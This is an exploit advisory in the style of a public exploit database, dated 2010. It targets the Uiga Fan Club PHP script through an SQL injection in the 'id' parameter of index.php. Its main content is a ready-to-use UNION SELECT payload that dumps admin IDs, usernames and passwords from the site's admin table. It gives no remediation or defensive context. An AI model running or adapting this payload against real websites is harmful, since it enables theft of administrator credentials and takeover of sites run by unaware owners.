1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# Exploit Title: Uiga Fan Club SQL Injection Vulnerability # Date: 22/03/2010 # Author: Sioma Labs # Site : http://www.scriptdevelopers.net/products/ufc.html # Software Link: http://www.scriptdevelopers.net/download/uigafanclub.zip # Version: N/A # Tested on: Win (Wamp) # CVE : N/A __ _ __ _ / _(_) ____ __ ___ __ _/ /__ _| |_____ \ \| |/ _ \| '_ <code> _ \ / _</code> |/ // _` | '_ \/ __| _\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \ \__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/ Exploit : http://site/index.php?view=photos&id=[SQLi] Example : http://localhost/uigafan/index.php?view=photos&id=-7 Union Select 1,2,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),4,5 from admin-- #Sioma Labs #siomalabs.com #Sioma Agent 154 |